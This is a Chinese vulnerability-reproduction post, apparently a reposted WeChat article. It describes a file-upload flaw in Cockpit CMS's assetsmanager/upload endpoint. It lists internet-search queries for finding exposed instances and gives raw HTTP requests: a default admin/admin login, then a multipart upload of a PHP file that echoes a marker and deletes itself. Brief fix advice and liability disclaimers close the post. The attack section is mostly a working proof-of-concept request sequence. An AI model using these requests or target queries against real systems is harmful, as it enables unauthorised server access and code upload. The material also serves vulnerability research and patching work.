!
本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者及本公众号团队不为此承担任何责任。
!
Fofa：title="Authenticate Please!"quake：title:"Authenticate Please!"hunter：web.title="Authenticate Please!"
0x03 漏洞复现
!
登录界面如下：
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET/auth/login?to=/HTTP/1.1Host: xxx.comContent-Length: 2
POST/auth/checkHTTP/1.1Host: xxx.comContent-Type: application/jsonUser-Agent: Mozilla/5.0Content-Length: 157{"auth":{"user":"admin","password":"admin"},"csfr":"csfr"}
POST/assetsmanager/uploadHTTP/1.1Host: xxx.comContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3Cookie: mysession=123451234512345123451234512345123User-Agent: Mozilla/5.0Content-Length: 357-----------------------------36D28FBc36bd6feE7Fb3Content-Disposition: form-data; name="files[]"; filename="BE1a3e.php"Content-Type: text/phpecho"12131231231234e80test";unlink(__FILE__);-----------------------------36D28FBc36bd6feE7Fb3Content-Disposition: form-data; name="folder"-----------------------------36D28FBc36bd6feE7Fb3--
4.访问 url+/storage/uploads/+path 验证上传结果：
1、请联系厂商进行修复。
2、在后端限制允许上传的文件类型或文件内容。
3、设置白名单访问。
原文始发于微信公众号（网安鲲为帝）：【漏洞复现】cockpit系统assetsmanager/upload接口存在文件上传漏洞 | 附poc
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论